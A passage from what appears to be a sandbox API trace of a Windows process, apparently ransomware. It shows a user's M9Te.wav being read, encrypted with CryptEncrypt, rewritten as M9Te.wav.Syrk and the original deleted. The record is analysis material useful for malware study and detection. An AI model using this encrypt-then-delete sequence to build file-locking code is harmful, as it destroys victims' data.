dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0244.029] GetFileType (hFile=0x1d4) returned 0x1 [0244.029] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0244.029] GetFileType (hFile=0x1d4) returned 0x1 [0244.030] EtwEventActivityIdControl () returned 0x0 [0244.030] CryptGenRandom (in: hProv=0x5c4d320, dwLen=0x10, pbBuffer=0x2505360 | out: pbBuffer=0x2505360) returned 1 [0244.031] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.031] CryptDuplicateKey (in: hKey=0x5c99660, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99520) returned 1 [0244.031] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0244.031] CryptSetKeyParam (hKey=0x5c99520, dwParam=0x4, pbData=0x250668c*=0x1, dwFlags=0x0) returned 1 [0244.031] CryptSetKeyParam (hKey=0x5c99520, dwParam=0x1, pbData=0x2506658, dwFlags=0x0) returned 1 [0244.032] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.032] EtwEventActivityIdControl () returned 0x0 [0244.032] EtwEventActivityIdControl () returned 0x0 [0244.032] EtwEventActivityIdControl () returned 0x0 [0244.033] EtwEventActivityIdControl () returned 0x0 [0244.033] ReadFile (in: hFile=0x454, lpBuffer=0x25092d4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x25092d4*, lpNumberOfBytesRead=0x5a2e7d8*=0x61c1, lpOverlapped=0x0) returned 1 [0244.035] CryptEncrypt (in: hKey=0x5c99520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x251d2ec*, pdwDataLen=0x5a2e7cc*=0x61c0, dwBufLen=0x61c0 | out: pbData=0x251d2ec*, pdwDataLen=0x5a2e7cc*=0x61c0) returned 1 [0244.035] WriteFile (in: hFile=0x1d4, lpBuffer=0x250543c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x250543c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0244.037] WriteFile (in: hFile=0x1d4, lpBuffer=0x251e2d8*, nNumberOfBytesToWrite=0x51d4, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x251e2d8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x51d4, lpOverlapped=0x0) returned 1 [0244.038] ReadFile (in: hFile=0x454, lpBuffer=0x25092d4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x25092d4*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0244.038] CryptEncrypt (in: hKey=0x5c99520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25234b8*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x25234b8*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0244.038] CryptEncrypt (in: hKey=0x5c99520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25234d4*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x25234d4*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0244.038] WriteFile (in: hFile=0x1d4, lpBuffer=0x250543c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x250543c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0244.038] CloseHandle (hObject=0x1d4) returned 1 [0244.041] CloseHandle (hObject=0x454) returned 1 [0244.041] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.042] EtwEventActivityIdControl () returned 0x0 [0244.042] EtwEventActivityIdControl () returned 0x0 [0244.042] EtwEventActivityIdControl () returned 0x0 [0244.047] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav")) returned 0x20 [0244.049] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x22 [0244.049] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x22, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", lpFilePart=0x0) returned 0x21 [0244.049] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0244.049] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0244.049] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0244.049] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0244.049] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0244.050] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0244.050] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0244.050] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0244.050] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0244.050] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0244.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0244.050] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0244.050] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0244.050] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0244.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0244.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0244.051] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav")) returned 0x20 [0244.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x22 [0244.051] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x22, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", lpFilePart=0x0) returned 0x21 [0244.053] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x22 [0244.053] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x22, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", lpFilePart=0x0) returned 0x21 [0244.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0244.054] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x22 [0244.054] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x22, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", lpFilePart=0x0) returned 0x21 [0244.054] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav\\*" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0244.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0244.054] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0244.054] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0244.055] CoTaskMemFree (pv=0x5c98368) [0244.056] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav")) returned 0x20 [0244.056] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x22 [0244.056] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", nBufferLength=0x22, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav", lpFilePart=0x0) returned 0x21 [0244.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0244.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav"), fInfoLevelId=0x0, lpFileInformation=0x252d7b0 | out: lpFileInformation=0x252d7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22984540, ftCreationTime.dwHighDateTime=0x1d99333, ftLastAccessTime.dwLowDateTime=0xaffab720, ftLastAccessTime.dwHighDateTime=0x1d9957b, ftLastWriteTime.dwLowDateTime=0xaffab720, ftLastWriteTime.dwHighDateTime=0x1d9957b, nFileSizeHigh=0x0, nFileSizeLow=0x61c1)) returned 1 [0244.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0244.057] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav")) returned 1 [0244.068] EtwEventActivityIdControl () returned 0x0 [0244.069] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.069] EtwEventActivityIdControl () returned 0x0 [0244.069] EtwEventActivityIdControl () returned 0x0 [0244.069] EtwEventActivityIdControl () returned 0x0 [0244.075] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav.syrk")) returned 0x20 [0244.076] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav.syrk")) returned 0x20 [0244.076] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x27 [0244.076] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav.Syrk", nBufferLength=0x27, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav.Syrk", lpFilePart=0x0) returned 0x26 [0244.077] EtwEventActivityIdControl () returned 0x0 [0244.077] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.077] EtwEventActivityIdControl () returned 0x0 [0244.077] EtwEventActivityIdControl () returned 0x0 [0244.077] EtwEventActivityIdControl () returned 0x0 [0244.082] EtwEventActivityIdControl () returned 0x0 [0244.082] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.082] EtwEventActivityIdControl () returned 0x0 [0244.082] EtwEventActivityIdControl () returned 0x0 [0244.082] EtwEventActivityIdControl () returned 0x0 [0244.086] EtwEventActivityIdControl () returned 0x0 [0244.086] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.087] EtwEventActivityIdControl () returned 0x0 [0244.087] EtwEventActivityIdControl () returned 0x0 [0244.087] EtwEventActivityIdControl () returned 0x0 [0244.090] EtwEventActivityIdControl () returned 0x0 [0244.090] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.091] EtwEventActivityIdControl () returned 0x0 [0244.091] EtwEventActivityIdControl () returned 0x0 [0244.091] EtwEventActivityIdControl () returned 0x0 [0244.094] EtwEventActivityIdControl () returned 0x0 [0244.094] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0244.095] EtwEventActivityIdControl () returned 0x0 [0244.095] EtwEventActivityIdControl () returned 0x0 [0244.095] EtwEventActivityIdControl () returned 0x0 [0244.098] EtwEventActivityIdControl () returned 0x0 [0244.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0244.102] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\M9Te.wav.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\m9te.wav.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2536328 | out: lpFileInformation=0x2536328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd293070, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xd293070, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xd2b91d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x61e4)) returned 1 [0244.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0244.103] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0244.104] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0244.104] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0244.105] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0244.105] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0244.106] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0244.106] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0244.107] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0244.107] GetConsoleOutputCP () returned 0x1b5 [0244.107] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0244.107] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0244.108] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0244.108] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25506bc*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x25506bc*, lpNumberOfCharsWritten=0x5a2e3e0*=0x27) returned 1 [0244.109] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0244.109] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0244.110] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0244.110] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0244.112] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0244.113] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0244.113] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0244.114] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0244.114] GetConsoleOutputCP () returned 0x1b5 [0244.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0244.115] GetConsoleOutputCP () returned 0x1b5 [0244.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0244.115] GetConsoleOutputCP () returned 0x1b5 [0244.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0244.115] GetConsoleOutputCP () returned 0x1b5 [0244.115] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0244.115] GetConsoleOutputCP () returned 0x1b5 [0244.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0244.116] GetConsoleOutputCP () returned 0x1b5 [0244.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0244.116] GetConsoleOutputCP () returned 0x1b5 [0244.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0244.116] GetConsoleOutputCP () returned 0x1b5 [0244.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0244.116] GetConsoleOutputCP () returned 0x1b5 [0244.116] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0244.117] GetConsoleOutputCP () returned 0x1b5 [0244.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0244.117] GetConsoleOutputCP () returned 0x1b5 [0244.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0244.117] GetConsoleOutputCP () returned 0x1b5 [0244.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0244.117] GetConsoleOutputCP () returned 0x1b5 [0244.117] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0244.117] GetConsoleOutputCP () returned 0x1b5 [0244.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0244.118] GetConsoleOutputCP () returned 0x1b5 [0244.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0244.118] GetConsoleOutputCP () returned 0x1b5 [0244.118] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0244.118] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0244.119] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0244.119] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x255101c*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x255101c*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0244.119] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0244.120] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0244.120] GetConsoleOutputCP () returned 0x1b5 [0244.121] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0244.121] GetConsoleOutputCP () returned 0x1b5 [0244.121] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0244.121] GetConsoleOutputCP () returned 0x1b5 [0244.121] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0244.121] GetConsoleOutputCP () returned 0x1b5 [0244.121] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e4c8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e4c8) returned 0 [0244.121] GetConsoleOutputCP () returned 0x1b5 [0244.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0244.122] GetConsoleOutputCP () returned 0x1b5 [0244.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0244.122] GetConsoleOutputCP () returned 0x1b5 [0244.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0244.122] GetConsoleOutputCP () returned 0x1b5 [0244.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0244.122] GetConsoleOutputCP () returned 0x1b5 [0244.122] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0244.123] GetConsoleOutputCP () returned 0x1b5 [0244.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0244.123] GetConsoleOutputCP () returned 0x1b5 [0244.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0244.123] GetConsoleOutputCP () returned 0x1b5 [0244.123] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e458, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e458) returned 0 [0244.123] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4f4 | out: lpConsoleScreenBufferInfo=0x5a2e4f4) returned 1 [0244.124] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0244.124] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x25514c4*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x25514c4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x4f) returned 1 [0244.124] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4ec | out: lpMode=0x5a2e4ec) returned 1 [0244.125] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e0*=0x2) returned 1 [0244.125] GetConsoleOutputCP () returned 0x1b5 [0244.125] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0244.125] GetConsoleOutputCP () returned 0x1b5 [0244.126] TranslateCharsetInfo (in: lpSrc=0x1b5, 